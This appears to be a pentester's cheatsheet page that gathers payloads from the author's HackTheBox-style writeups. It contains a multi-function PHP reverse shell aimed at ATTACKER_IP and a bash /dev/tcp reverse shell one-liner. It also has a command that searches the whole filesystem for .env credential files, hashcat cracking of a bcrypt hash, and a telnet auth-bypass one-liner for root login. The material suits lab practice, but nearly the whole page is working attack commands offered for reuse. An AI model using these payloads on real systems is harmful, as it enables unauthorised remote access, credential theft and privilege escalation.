/cheatsheets
A collection of useful payloads and commands extracted from my writeups.
Web VHost Fuzzing with ffuf
View in context →ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://nexus.htb/ -H 'Host: FUZZ.nexus.htb' -fs 154Web PHP Resilient Multi-Function Reverse Shell
View in context →<?php
$ip = 'ATTACKER_IP';
$port = 4444;
if(function_exists('system')) {
system("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
} elseif(function_exists('exec')) {
exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
} elseif(function_exists('shell_exec')) {
shell_exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
}
?>Linux Interactive TTY Upgrade via script
View in context →script /dev/null -c /bin/bashLinux Find .env Configuration Files
View in context →find / -name "*.env" -type f 2>/dev/nullRCE Bash reverse shell oneliner
View in context →meterpreter > execute -f /bin/bash -a "-c 'bash -i >& /dev/tcp/10.10.15.100/4444 0>&1'"RCE TTY upgrade via Python pty
View in context →python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xtermCrypto Hashcat bcrypt cracking (mode 3200)
View in context →echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt.gzRecon Check installed package version
View in context →$ dpkg -l | grep telnet
telnet 0.17-44build1Privesc Telnet auto-login auth bypass (CVE-2026-24061)
View in context →env USER='-f root' telnet -a 127.0.0.1 23